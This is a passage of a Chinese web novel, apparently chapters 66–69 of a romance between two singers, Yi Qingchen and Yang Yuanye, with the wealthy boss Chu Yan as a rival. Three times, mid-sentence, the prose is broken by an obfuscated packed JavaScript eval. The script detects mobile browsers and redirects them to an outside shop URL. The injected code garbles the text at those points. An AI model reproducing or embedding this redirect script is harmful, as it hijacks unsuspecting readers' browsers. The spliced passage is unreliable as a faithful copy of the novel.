“给我看看你的垃圾。”杨原野说着又掏出打火机,点亮一个暖黄色的光源,照亮了面前的一小方。 易卿尘打开盒子,从里面掏出那些包装纸,糖盒,一股脑儿地塞进杨原野手里,“你看吧,一盒子垃圾。这要是当场打开,看你怎么接得住梗。” 最后一张包装纸被移走,盒子底部忽然露出一个很小巧的黑丝绒盒子,像是戒指盒一样大小,要不是仔细看,就与盒子底盖融为一体了。 易卿尘手上的动作倏地停住了。有些尴尬地看着杨原野,不知道该不该继续把它拿出来。 “这,该不会是哪个爱慕者送你的吧?”杨原野一脸醋意。 “不会吧……” 易卿尘也吃不准,觉得还是先收起来为妙。 易卿尘正想把盒子关上,就被杨原野抬手拦住。 “拿出来,我看看。”杨原野沉声说。 “算了吧。“ “看看,怕什么,你知道是谁送的?” 不拿出来好像他心里有鬼似的,易卿尘只得从底下捞出来那枚黑色小绒盒。 深吸了一口气,打开的时候还是有点紧张。 打火机跳跃的火焰下映出了一枚蓝宝石耳钉。 蓝宝石切割完美、晶莹深邃,象征着忠诚和灵魂。 好像真是个贵重的礼物。 耳钉旁,静静躺着一个小纸条。易卿尘可不希望什么爱慕者的蹩脚告白小纸条被杨原野看到。 他瞥了一眼杨原野,一张脸笼在暖光里,抬了抬下巴,示意他打开看看。 纸条似一个微小的卷轴般卷着,易卿尘捏起了小纸条,由左至右缓缓展开。雪白的纸条上逐渐呈现出字迹,深蓝色的,墨水的颜色和蓝宝石相得益彰,钢笔字的笔锋抑扬顿挫,力透纸背,像执笔人深深浅浅的心事: 三个小字呈现出来的同时,杨原野轻声说: “我错了。” 一字一字,读得易卿尘心脏怦怦乱跳,捏着纸条的手禁不住打颤。 纸条完全被拉开,慢慢露出送礼物人的署名:阿野。 最后一笔似乎特别用力,笔尖在白纸上留下了一个小洞。 “上次发布会的事,我真错了。”杨原野贴近他,声音低沉如酒。 66.066 烟花 易卿尘原本屏着的呼吸一下子乱了,从鼻腔溢出来,喘得紧。他不可抑制地心脏狂跳,眼睛望向远处的湿地,不敢看身旁的人。 他强烈地感觉到空气中浮动着的浓密的情绪,在夜色中翻涌,身旁的人那束目光像一张网罩住他。 两人手臂若即若离地挨着,接触的那一片衣服布料温暖干燥。 “那件事我该早点告诉你的,可我想给你个惊喜,没想到弄巧成拙......你不要生气,以后就算生气,也别再走了。留下来,我哄你。” 一股通导全身的温暖从心底升腾。 刚刚的180亿个火焰在易卿尘的胸腔里,接连引爆,光芒洒落星河。 他早就不生气了,在机场看见杨原野的那一刻,他就原谅了他。 重逢后,杨原野对他的态度像一支从冰箱中取出的冰淇淋,从坚固的冷硬一点点被温暖被融化,如今只剩甜蜜的一滩浓情。 四年前的杨原野根本就不会道歉,易卿尘唯一一次听他说软话,还是最后那通分手电话。可是那样绝望的乞求,易卿尘此生不想再听第二次。 少年的杨原野犟得很,爱面子,吵架之后不道歉,第二天就好像什么都没有发生一样。 从前易卿尘懒得跟他一般见识,经常不了了之,如今却忍不住动气,大概是四年的分离让所有的感情都更强烈,人也变得也更在乎,更计较了。 狮子座的男人,嘴巴硬、不低头好像是写在基因里的。如今他愿意对他服软,道歉,这样的变化让易卿尘打从心底里感到暖烘烘的。 易卿尘转过头,看着杨原野含情的眼睛:“我哪有那么小气。是我反应过度,不全怪你。” 杨原野轻轻一笑,因为在乎,才会反应过度,他怎么会不明白? 夜晚沉静如画,树丛里夜行动物窸窸窣窣地出来觅食,远远绕开那两个人,不忍搅扰那美好的气氛。 两人并肩站着,月光下有他们被拉长的影子。 “你的耳洞,什么时候打的?”杨原野轻声问。那天帮易卿尘洗头发,揉他耳朵的时候就注意到了。 易卿尘抬手摸了一下自己的耳洞,左耳垂偏上一点,和杨原野的小痣一样的位置。 那是当年杨原野去了台湾之后,易卿尘自己偷偷跑去打的。他答应了杨原野,从台湾回来就给他一个答案。 这个耳洞是他准备的答案。 有人说,耳洞是感情的缺口,连着心脏的神经。为了爱人穿过耳洞的红颜,下辈子就还会遇见他。 易卿尘特意将耳洞穿在这个位置,希望下辈子能早一点和杨原野相认。 可惜,答案没能等到它的问题,耳洞就长死了。 “好几年了,已经长死了。”易卿尘说得云淡风轻,害怕泄露了心底的秘密,“等过些日子我去把它通开,才能戴你的耳钉。” “嗯。”杨原野又问,“那......巧克力好吃吗?” 不知道杨原野是怎么想出这么个主意,真的花了不少心思吧,“不好吃,但能救命,起死回生。” “......谁死了?”杨原野问。 易卿尘叹了口气,“我。不瞒你说,我可能是年纪大了,最近经常低血糖。今天多亏了你的巧克力保命。” “易卿尘,你只有二十七岁。”杨原野皱皱鼻子。 “是,可我还是觉得和以前不同。没那么能熬夜,经常忘这忘那,想去旅游,又嫌累。” 杨原野笑着看他一眼,说:“你说的这些,我也都有。而且我还越来越不喜欢过节了,就连过年都提不起兴致。难不成也是老了?” “不喜欢过节,”易卿尘的眸光闪了闪,酸溜溜地说道,“是因为没有想一起过节的人吧......” “嗯?”杨原野看他。 “至少,你昨天早上在电视上是这么说的。” 易卿尘脸红,他自己在暗示些什么......说完,就把眼睛别了过去,避开了那束仿佛烫在心尖上的目光。 杨原野眼里噙着笑意,故意问道:“当时是怎么回事来着?” 易卿尘清了清喉咙:“主持人问你,有没有想一起过七夕的人。” “我答的是......?”杨原野引诱他继续说。 “你说,‘还没等到’。” “哦,我是那样说的啊。”杨原野想了想,忽而郑重地要求,“那你现在再问我一遍。” 易卿尘转头看向他,心如擂鼓: “杨先生,你有没有想一起过七夕的人?” 停了一秒,万籁俱寂,只听杨原野一字一字地说: “有。我等到他了,他昨天回来的。” 嘭——嘭——几声脆响,夜空突然爆裂出几束美丽的烟花。是晚会现场的方向,今年七夕,有场盛大的烟花秀,还有无人机表演。 易卿尘微微侧头看向杨原野,杨原野正笑着抬头望天空,脸庞被五彩的烟花映出变幻的光影。 他们的手指轻轻触碰到对方,仿佛若无其事地一起看了一场烟花。和烟花一同升空的,还有关于未来、关于他和他的一万种可能。 有期待,未发生,是良辰。 易卿尘没有记住那天的烟花,却记住了杨原野那晚的侧脸。 - 《中国唱作人》开启了第二赛程,两期真人秀加一期比赛,录制地点也有了变化。 一年一度的阿那亚音乐节会在北戴河举行,这是仅次于草莓音乐节的第二大户外音乐节。《唱作人》节目也会开赴阿那亚,在现场做几期线下直播。 周三开始录影,艺人们大多都提前到了,主要目的是开工前的度假。阿那亚本身位于北戴河黄金海岸,多年前是一大片烂尾楼,后来被天才开发商改造成了先锋社区——“海边的文化艺术飞地”。 阿那亚离火车站很远,只有一大片黄金海岸,正好用来孕育孤独的艺术。烂尾楼摇身一变成了灵魂的归宿,艺术的摇篮。随着各色音乐节的入驻,这里已经被来“朝圣”文艺青年们奉为精神家园。 易卿尘上周六就来了,却不是为了休闲娱乐,而是来看易小雪。 阿那亚离易小雪那儿只有几十分钟的车程,从那儿去阿那亚也方便。 易卿尘一个人坐高铁过来,出了火车站,打个车就到了“光阴里”私人康养度假中心。 姨妈见他来,很是热情,看了电视已经知道这个表外甥是当红明星。除了对他嘘寒问暖,姨妈还拐弯抹角打听了好几次上次那个楚总来不来。楚总上次给了她一沓红票子,她自然盼望着。 比之在京北,易小雪看起来年轻了不少,头发在脑后松散地挽着个髻,面色不再蜡黄,添了些红润的气色,还是那么瘦削。 本就是个美人坯子,也才四十多岁的年纪,在这依山傍水的地方休养几个月,就像是曾被连根拔起的鲜花,重新栽进了花盆里,阳光雨露润泽着,又焕发了生机。 见了易卿尘,易小雪总显得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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易卿尘一只手撑着脑袋,看着窗外一碧万顷的大海,白色的海鸥在他心里飞,他管不住上翘的嘴角,反正杨原野在电话那头也看不见。 他脑子里搜索着小曲库,嘴上软乎乎地说道:“好啊,我来给你提~提~神~” 话音刚落,开门声传来,姨妈的中年女声能穿透整个北戴河:“大外甥,楚总来找你了!快过来接一把!” “......” 易卿尘眉头一跳,猛地转过头,只见楚言一身铅灰色西装,手里提着几只礼品袋,正儒雅地立在门口,和他对上视线后,微笑唤他小名:“小尘。” 这也太提神了! “易、卿、尘!”电话那头的蚌精阴沉恐怖要吃人。 易卿尘慌忙把头转回去,用手挡着嘴,对着电话:“那个,我......现在有点事儿......” “你不是说你和大学同学去北戴河玩儿吗?你居然骗我!” “......见面再跟你说,拜拜。” 易卿尘当机立断挂了电话。 他不想跟杨原野说易小雪的事情,上次颁奖典礼之后他就特别警惕,这样的爆料随着他人气蹿升而愈发危险,知道这件事的人恐怕也会跟着卷入麻烦。易卿尘不愿意让杨原野知道这些,所以这次就随便拣了个借口,说是同学会。 至于这个同学怎么就变成了对他有情的霸道总裁,易卿尘还没想好怎么解释。 67.067 别墅 姨妈欢天喜地地把楚言迎了进去,找拖鞋,泡茶洗水果,忙得不亦乐乎。连那老猫也一反常态凑过去,瞪着琉璃似的眼珠,和易小雪一样,打量着楚言。 “楚总,你怎么来了?”易卿尘起身问道。 “我听说你提前去了北戴河,就猜到你在这儿。怎么,不欢迎我吗?”楚言微笑着问。 易卿尘赶紧摇摇头,“没有没有,欢迎。” 他这才意识到,自己也怕楚言会拿易小雪的事情威胁他。 不知怎么搞的,这件事居然成了只有他和楚言知道的秘密,易卿尘心里又升腾起强烈的不安。过些日子,应该给易小雪换个地方住。 楚言像走亲戚一样,轻车熟路,还带了好些礼物。高级护肤品套装,奢侈品牌羊绒披肩,当季经典老花腋下包,都是一式两套,送给两位中年女士。 姨妈笑得合不拢嘴,拿着包包爱不释手,说道:“这个款好,下楼遛弯儿装点儿小玩意,方便。” 易小雪还是远远地坐着,一脸警惕。 “小尘,一会儿你陪我去个地方,之后我直接送你去节目组的酒店。” 楚言不问他有没有时间,也不问他愿不愿意,就替他决定好了一切。也对,楚言是老板,自然可以安排他的行程,自己除了说好,还能说什么…… 八月的北戴河是最好的季节,曜石黑迈巴赫沿着北戴河滨海大道一路行驶,沿路是碧海蓝天。车子很快停在了一个高档楼盘门口。 易卿尘随楚言下了车,跟在他身后,走进了售楼中心。门口的售楼小姐见了楚言,登时笑靥如花,招呼他们坐下,扭身和一旁的人说了几句什么,旁边的人就快步走了。 过了没一会儿,一位西装笔挺经理模样的男人从里面走了出来,和楚言热情地问好。 楚言要买楼,易卿尘对此却没兴趣,他心里有事儿,想着是不是该把易小雪的事告诉杨原野,因而精力不集中。 出了售楼处,经理带着他们进了一套精装修的别墅里,看样子是个样板间。别墅是独栋的,580平米,前院是中式园景,后院是私家草坪,小径直通海边,三楼还有一片空中花园,坐在秋千上可以直接望到秦皇岛森林公园和大海。 经理就跟在易卿尘身边,一边带他们参观,一边介绍着。 “咱们梦泽屿别墅这个楼盘,总占地26万7千平方米,绿化率62%,楼盘容积率0.53,是这个区最高端的别墅项目。不像那些远郊的楼盘,咱们这周边交通特别方便,附近有三个医院,六所幼儿园,两所小学,五所中学,教育资源也特别丰富,附近的商超也很多……” 易卿尘左耳朵进,右耳朵冒,出了一个卧室,进了一个书房,转弯又一个休闲区。独立的酒窖,院线级别的影音室,还有桑拿房。三层的别墅自带电梯,易卿尘像逛迷宫,又像参观旅游景点。 别墅的装修也是富丽堂皇,并且很有艺术品味,不乏先锋艺术家的绘画和雕塑作品。 他们在三楼的茶室坐下,博古架上除了文玩摆件之外,还有一个圆柱形的玻璃樽,盖上有小孔,里面竟是几只蝴蝶,仔细看竟是活的,不知是什么珍稀品种,蝴蝶轻颤的翅膀呈现出一种惊人的蓝色,宛如碧海一般清澈透亮。 在楚言的示意下,经理介绍完,就离开了,留他们二人在茶室。 易卿尘漫不经心地坐在桌前,抚摸着八仙桌,珍贵的红木散发着木质沉香。 “那天他们临时把你换掉了,为什么没告诉我?”楚言没来由地问道。 易卿尘没反应过来:“什么?” “七夕晚会。” 不是楚言叫人把他换掉,为了立规矩,让他学乖的么?怎得如今这样问?易卿尘懵懂,不知道这里面到底绕了几个弯子,几重逻辑。 “我……那也没什么,”易卿尘语带双关,说给楚言听,“我不喜欢强求。” 楚言精于世情,顿了两秒,眼睛笼上一层薄雾,问道:“怎么,你觉得是我把你换掉的?在你心里,我是个小人吗?” 什么是小人?小人会毁掉你对世界的好感。而易卿尘如今的世界是楚言一手打造的。 看着楚言的神情,他忽然觉得内疚。 他怎么可以那样揣度楚言?楚言发掘他,栽培他,对他有知遇之恩。楚言喜欢上他亦是情非得已,至今从未逾矩轻薄,对于那样名望地位呼风唤雨的一个男人,实属委屈,足见对他十分的珍重。 易卿尘不是不明白,他爱过,懂得爱,许多人爱得疯狂热烈,但隐忍克制却更难做到。此刻,他反而被衬得像一个小人,为自己曾经阴暗地揣度楚言的用心而羞愧。 他底气不足地嚅嗫道:“我不是那个意思。” 拿起一颗桌上放着的硬糖,他拆了包装塞进嘴里,把嘴巴占住,多少缓解一些尴尬。可惜话梅味道的糖果味道太奇异,易卿尘含也不是,吐也不是。 “怎么样?”楚言似乎没有生气,又问道。 “嗯?”什么东西怎么样?易卿尘再一次被问得不明就里,他实在不擅长猜心。 “这套别墅,你觉得怎么样?”楚言说。 “当然好了。这样的房子,这样的地角,住在这里的人应该每天都很快乐吧,做梦都能笑醒。” 易卿尘为能换个话题而暗自庆幸,抬眼扫过屋里的陈设,的确,普通人穷其一生都不敢想象住在这里。 “那以后不工作的时候,你就来这里住。” 楚言话音未落,易卿尘神情一凛。 “……什么?” “你不是说住在这里每天都会快乐?”楚言淡笑着看他,“我买下来送给你,给你添些乐子。” 易卿尘怵然而惊,赶忙吐了嘴里的话梅糖,拿糖纸包住,干笑两声:“……哈哈,您还是别拿我开玩笑了。” 楚言又一次开口,神色绝不是在说笑:“楼下的合同早就备好了,这套别墅,你点头,签个字,明天就能搬进来住,”他拍了拍椅子上的蒲团软垫,温言笑道,“我们就坐在这里喝茶,好不好?” “……” 易卿尘怔住。这是要包养他? 楚言看透他的心思,笑笑补充道:“是送给你,就为换你高兴,没有别的条件。” 他没法高兴。送东西的人不对,再好的也不会高兴。 推开茶室的透明移门,就是别墅的空中花园。 草地铺满了柔软的草皮,一片绿意盎然,藤蔓攀着栏杆,各色花朵盛放,仿佛是上帝眷顾的一方乐园。 易卿尘迎着风,半倚靠着移门,视线悠悠地望着远山和大海,微微弓着背,什么都没说,却像在道歉。 他自然不会要这套房子,可当他拒绝的东西从一只手作的杯子变成了一栋海边别墅,易卿尘很怀疑他和楚言的关系到底要如何继续。 自己签了和盛世娱乐长达七年的经济约,如果被雪藏,他以后靠什么生存? 楚言走过来,立在门的另一边,等着,待易卿尘转过头和他目光交汇,才开了口: “小尘,我不是要买你,我是要爱你……可你从不给我机会。” “……为什么?为什么是我?”这个问题,其实易卿尘想问好久了,也许这是症结所在。 楚言似乎很认真在想,却茫无头绪地短叹了一声。 “我不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137888|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,我不知道为什么,但我知道,我爱你。”楚言感喟地说,“从很早以前,我就知道了。” 楚言的眼睛,湖水般沉静温柔,浮光掠金,他说出那三个字,似从湖水中心晕开层层黛青色的波纹。 爱情并不总是两两速配,任他是谁,都有无能为力的时候。在这个层面上,人人平等。 “楚总……不,言哥……”易卿尘字斟句酌地说,“我不值得的,我是说真的,我们之间是不可能的。” 话说到这份儿上,楚言知道,他今天得不到他想要的答案了。聪明的,应该踩刹车,留住体面,继续守株待兔,徐徐图之。 爱情的追逐有时是一场长跑。这道理楚言不是不明白。 可人一旦说过“我爱你”,就好像交出了底牌,安全感急速下降,他急于要个答案,好让忐忑的心情有个落脚点,以安抚稀薄的自尊心。 楚言发现自己近来愈发失控,不知是被那个小自己13岁青春飞扬的竞争者激起的胜负心,还是爱意沦陷到难以自拔。一向拿得稳瓶的他,突然来了股“不撞南墙不回头”的莽撞劲儿。 明明退一步更理智,可他偏要往前。 “小尘,我有很多钱,比你想象的还多,但我却没有每天都快乐,其实我很少感到快乐。我真的很爱你,如果钱能换来你回报我同样的感情,那我做梦都会笑醒,我会觉得有钱真好……我不是一个轻易许诺的人,但只要你不离开我,我一定不会先离开。” 易卿尘不知如何回应,只得默不作声。海边,飞鸥扑腾错落,转瞬飞远。 海风拂在楚言的脸上,他笑了笑,补充道:“当然,大概率到了最后我会走在你前面。那时,我定会留给你足够的钱,让你安乐无忧。” 百岁如流,富贵冷灰。易卿尘不知道说什么,他心里并不好过。不是被人喜欢追捧就会骄傲得意,随意辜负别人的深情大抵也要下地狱的。 楚言端方儒雅,对他恩同再造、一往情深,他合该恋慕他、报答他、成全他。 但合该是一回事,心之所向是另一回事。 “你知道的,我的心早就给了别人。”易卿尘说,“相遇的时机很重要,言哥,我真心希望你快乐,你也一定会找到比我更好的人。” 楚言微微一怔,盯住易卿尘的眼睛,喉咙却被某种情绪堵住了。Timing is everything. 这本是楚言信奉的格言,却没成想自己竟输在了timing上,格言成了神谕。可天知道他有多爱眼前这个人,不比任何人爱得少。为什么不能等价交换? 易卿尘转过身去,抬手取下博古架里的玻璃樽,举起来晃了晃,漂亮的脸上浮现大学生般的干净,他说:“言哥,不要别墅,只要这蝴蝶。你把它们买下来送给我,好吗?” 楚言长久地看着他,微微闭了下眼,脱力般点了点头。 易卿尘迈步走进花园,打开玻璃樽的盖子,几只湖蓝翅膀的天堂凤蝶扑扇着飞出瓶口,双翼划出了平缓的气流。 一阵风吹过,落花被卷起带往了大海。而蝴蝶有灵,不愿随风,挥动翅膀,向着反方向的山,翩然远飞。 待杨原野开车到了阿那亚度假酒店,已近晚饭时间,不过夏天白昼长,外面仍是天光大亮。 在酒店大堂办理入住时,正好碰见博博走下来——头发刚洗过,花T恤加大裤衩,配上小棕熊一样的壮硕身材,如果脖子上挂一串兰花,就可以直接去夏威夷跳迎宾舞了。他总让人心情愉快。 博博走到他面前,拍了下他的肩膀,说道:“小野哥!你再晚来点儿就要出大事了!” 是啊,可不是出大事儿了吗。 68.068 菜狗 “嗯,我知道。”杨原野眉头锁得紧,点点头。 “你都知道啦?”博博惊呼,“那你要不要赶紧上楼去洗个澡,捯饬捯饬?” 怎么,不就是那个比他大十三岁的老男人,他怎么就得赶紧去洗澡捯饬了?公孔雀比美大赛? 杨原野一听就不乐意了:“干嘛?单看脸我输吗?这一项可是我的舒适区……” 博博挠挠头:“哥,你在说什么呢?酒店的水管漏水,下午维修要关阀停水。你要是再来晚点儿,就洗不了澡了,这么热的天,哪受得了?赶紧去吧!” “哈?修水管……叫什么大事……”杨原野松了口气,白他一眼,“你这是要去哪儿?” “吃饭啊!我们都去,你要不要一起?”博博答道。 “你们?”杨原野的重音落在第二个字上,眼睛一亮,想也没想,痛快道:“好,一起去!” 见了那个撒谎精,他一定要好好问个究竟。 到了餐厅,杨原野只见到了吴芷静和姬波,师徒二人正聊得欢畅。原来这个“你们”里,没有易卿尘,一切瞬间变得索然无味。 易卿尘还没回来吗?易卿尘明明知道他今天下午到阿那亚,却没有等在这里。亏得他撑着一夜没睡,马不停蹄地赶来,开车累得脖子咔咔响。 杨原野悻悻地坐下,对着菜单暗自后悔没先上楼洗个澡。虽说自己颜值抗打,但通宵一宿外加开了一天车,难免看着像只菜狗。再想想那位楚总,永远一丝不苟、高定加身,好像皇上随时可以去上朝。 杨原野这一次想好了要和易卿尘慢慢来,想让易卿尘知道他爱他,不是通过语言。 他想永远和易卿尘在一起,让易卿尘心甘情愿把自己交给他。 他不怕和人竞争,不管对手是哪位。但现在形势太不乐观了,因为,易卿尘对他说谎了。 易卿尘和楚言之间显然有秘密。他已经四天半没见到易卿尘了,也许这些天,他都和楚言待在一起。 分开这么多年,他对易卿尘没把握。即使是四年前,他自以为有把握的时候,易卿尘还是突然就把他丢掉了。 他没有安全感。 杨原野仿佛吞了个柠檬,酸得很,非常想知道那秘密到底是什么,可作为一个合格的预备役男朋友,是不是应该给对方以空间,允许对方有秘密? 他没恋爱过,又是个臭脾气急性子,眼下矛盾极了。他怕他的孩子气吓跑易卿尘,又怕失了先机,被老男人抢了老婆,满盘皆输。 反复按亮手机屏幕,还是没有易卿尘的消息,他的自信一点一点被抽干。 杨原野思绪乱飞,只顾闷头吃饭。博博则在声情并茂地讲述自己七夕节那天是怎么被他的好同桌拒绝的。 “我以为那是我俩的开始,没想到,她压根儿就没打算跟我开始。”博博做了个手刀,捅了自己心口一刀。 “怎么着,准备出家了?”姬波调侃他,“多大点儿事,男人不吃爱情的苦,你还想吃什么苦?” “哥,那你看我还有戏吗?要不你传授我两招?”博博站起身来给姬波续水,殷勤地问。 姬波喝了口水,故作高深:“听说过吗?好女怕缠郎,一个字——缠!” “可我听说,距离才能产生美。”博博一脸狐疑。 “距离产生美,那只对帅哥有效。”姬波指着一旁闷头干饭的杨原野说道,“他们帅哥这个物种,就不配吃爱情的苦,稍一不如意人家就后撤,距离产生美,对方就主动贴过来了。像咱们这种糙老爷们,根本没用,咱就得是有枣没枣打两竿子。” 博博扭头看一眼身旁的吴芷静,吴芷静正抿着嘴笑,对上博博渴望确认的眼神,故作认真地说:“听祖师爷的。缠,缠,缠!” 博博找到了方向,小眼睛放光,他正打算放两句豪言壮语,旁边一直很安静的帅哥幽幽地问了个问题,加入了情感咨询的队伍:“祖师爷,那如果对方有事情瞒着不说呢?” 姬波用脚趾甲猜也知道这个“对方”是谁,于是狠狠剜了杨原野一眼:“我看你今天吃这么多,怎么,压力型进食呢?明天上镜给我胖一圈,我让你接下来一周都吃草!” 骂完不忘回答杨原野的问题,“他不说,你不会问?长嘴光会吃?” “……问,直接问?”杨原野眨眨眼,也看向吴芷静寻求确认,“静姐,你说呢?” 杨原野毕竟不是博博,吴芷静多了份耐心和客气:“我觉得,如果这个秘密已经影响了你和她的信任,你就一定要问。感情里最要不得误会,师父说得对,人长嘴巴就是用来沟通的。” 说完,吴芷静意味深长地笑着问道:“怎么,咱们小野谈恋爱了?” “没……没没!我就瞎琢磨。”杨原野低头,逃避视线。 “没关系,不方便跟我说的话,你可以跟小易聊聊,我看你俩关系挺好的,可以问问他意见啊。”吴芷静说。 姬波撇撇嘴,赶忙打岔,“小静啊,你和博博不是还有事儿吗?要不你们先走吧,别迟到了。” 吴芷静抬腕看表,确实快要来不及了,于是带着博博先走了。 杨原野和姬波买了单,也从餐厅往回走。姬波提议去海边消消食,别回去躺着长膘。 两人走到酒店大门口,远远看见一辆迈巴赫驶来,停在门口。副驾驶车门打开,走出一位青年。驾驶座上下来的男人儒雅高大,从后背箱取出一个银色行李箱,交到青年手上。 两人相对而立说着话,男人抬手捏了下青年的肩膀,很亲切的样子又上了车,迈巴赫缓缓汇入了车流。 拖着银色拉杆箱的青年携夜色而行,慢慢走至酒店门廊灯下,灯光照亮他俊秀的脸。抬眸间,忽然停了下来。 “姬哥,阿野,你们也在啊!” 杨原野一反常态地站着不说话,姬波瞟他一眼,像看傻儿子一般,心里已经猜出个七七八八。 “小易,你怎么才来呀?刚才开车送你来的是谁啊?”姬波挑眉故意问道。 易卿尘下意识迅速看向杨原野,两人对视的目光一擦,便起了静电,各自的心思都包不住,在空气中碰得噼啪作响。 “……那是我们公司的楚总。”易卿尘赶忙将视线转向姬波。 姬波眉头一沉,“哦”了一声,顺口问到:“你吃晚饭了吗?” 易卿尘答:“还没。你们呢?” 姬波刚想开口,只听杨原野抢先答道:“也没吃。” 没吃?就没见你吃那么多过。姬波无语。 “那,一起去吃饭?”易卿尘试探地问。 姬波生怕自己打出个饱嗝来,抬手摸摸自己的光头,说:“你和小野去吧,我岁数大了,偶尔得饿一顿,清肠养生。” “哦,那我先去check in,等我一下。”易卿尘说罢拉着行李走去了前台。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13147265|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见人走远了,姬波对着杨原野冷笑一声:“你小子真是个死心眼儿,我管不了你,你自己看吧,以后有你哭的时候。” 杨原野心虚地看了眼姬波,低头嘟囔道:“我心里有数。” “有数个屁!”姬波压低声音骂道,“人家都迈巴赫送到回家了,你还跟这玩儿‘开不了口’呢?搞同性恋都搞不过别人,枉费老天爷给你这张脸。” 姬波甩手扭头就走,留下一句:“少吃点儿,别撑死了。” “哥。”杨原野突然拉住姬波,问道,“除了脸,我没有别的优势吗?” 姬波怔了怔,露出了严父般的神情,道:“你觉得你比不过那楚总?那要是你们俩加一块儿呢?”姬波用手指了下易卿尘,又指了指杨原野,“这么多年都互相放不下的人,得是有多重要?” - 北戴河位于渤海湾,属于暖温带,和南方的海滨城市不同,太阳落山之后温度降得快,尤其是走在海边,冰凉的夜风钻进衣服里,吹得身上寒津津的。 怕易卿尘的鞋子被浪打湿了,杨原野把他换到靠近岸边的一侧走,过一会儿又怕他着凉,于是脱下长袖衬衣给他穿上,自己只剩一件单薄的短袖。 短T被风吹得鼓起来,配上凌乱的头发,立体浓郁的五官,今夜的杨原野看起来像漫画里的人物。 “前面有座栈桥,”易卿尘手指着不远处,“咱们去歇会儿吧。” 晚饭后两人沿海边走了好远,回头已经看不见酒店在哪儿了,这片野海周围没什么商业。 今夜皓月当空,像点了一盏温暖的天灯。 两人并肩坐在栈桥上,四条腿从桥上垂下来,一双安安静静,另一双晃晃荡荡。浪花在夜色中翻涌,哗啦哗啦地拍打着海岸,像是和平的唱诗。 “小尘——” “阿野——” 几乎同时开口,又相视而笑,暖意在心里晕开,夜也有了温度。 “让我先说。”易卿尘用胳膊肘碰了碰杨原野,衬衣的布料蹭在杨原野胳膊的皮肤上,蹭得他痒痒的,白天被抽空了的自信心,在见到易卿尘之后的两个小时内竟然一点一点又很快充满。 “好,你说,我听呢。”杨原野点点头。 “杨原野,你看小说吗?”易卿尘语气如一般闲谈。 “看悬疑的,或者盗墓的。怎么了?” “我最近读了许多小说找创作灵感,有几篇故事挺有趣,我讲给你听听?” 多年前他俩一起创作时也经常这样,谁最近看了什么电影,读了什么书,听了什么故事,总是讲出来两个人一起交流品评一番。 这还是易卿尘定的规矩,他当年把杨原野摁进座位里,学着老先生的模样说:“你有一个苹果,我有一个苹果,我们交换,每个人还是只有一个苹果。你有一个思想,我有一个思想,我们交换,每个人就有两个思想——” 杨原野想到往事,心头泛起浪花,答道:“好啊,你讲。” 易卿尘淡笑着,清了清喉咙,开始讲:“都是小短篇。这第一个是说一个很穷的女孩爱上了一个外交官,两个人克服了许多困难,毅然决然地在一起了,平淡幸福地生活了一段日子。后来男人的父母反对,硬把他们拆散了。女孩回了老家,作了一名乡村女教师,几年后重病去世了。” 杨原野最不喜欢疾病梗:“啊……古早韩剧?后来呢?” 69.069 小说 “后来,男人脱离了家族,回到他们曾经的小院,度过余生二十年,还在院子里种了一棵枇杷树。”易卿尘说。 “枇杷树?庭有枇杷树,吾妻死之年所手植也,今已亭亭如盖矣。”杨原野想起上学时的语文课文《项脊轩志》,顺口背了出来。 “嗯,就是这样。”易卿尘说,“很平淡的故事,但后劲儿很大。” “一棵树,让时间有了度量,让思念变得可数,确实后劲儿大。”杨原野说,“不过现在人们压力都大,都很难再接受悲剧的故事了。” 易卿尘点点头,“嗯,我看的这几个恰好都是悲剧。这个是死别,我再给你讲一个生离的故事。” “嗯嗯。”杨原野吹着海风,认真地听。 “这第二个故事说的是男生和女生在咖啡店一见钟情,感情慢慢升温,却发现男生有婚约在身,而结婚的对象就是女生的姐姐。” “男朋友变姐夫?这么刺激!” 易卿尘笑着点头,“对。两人爱得义无反顾,中间男生帮助女生摆脱了家庭的困境,还治好了她的抑郁症。眼看一切向好,却因为冲动分开了。多年后再重逢,已经是男生和别人的婚礼了。” 杨原野等了半天,没有动静,于是难以置信地问:“完了?” “嗯。完了。”易卿尘眨眨眼。 “我去!这第二个故事比第一个还惨。”杨原野慨叹。 易卿尘问:“所以生离和死别,你最怕哪个?” 杨原野看着狂浪,内心却不那么强悍,他不欲再在易卿尘面前伪装,坦白道:“……我都挺怕。你呢?” “我?”易卿尘思忖良久,抬头看着杨原野的眼睛说:“我都不怕。” “不管是生离还是死别,只要故事的最后两人还对彼此抱有好感,就都不算太坏……我给你讲讲这第三本小说,你就知道我说的意思了。” “好,我听着呢。” 易卿尘拉紧了身上的衬衣,吸了口气,开口说道。 “故事发生在京北,一个十九岁的年轻女子,水灵俏丽,是那一片儿单身男人眼中的肥肉。一天傍晚,邻居小伙子把她拖到车棚里侮辱了她。很快她发现怀孕了,母亲给了她一顿打,带着她去男的家里闹。 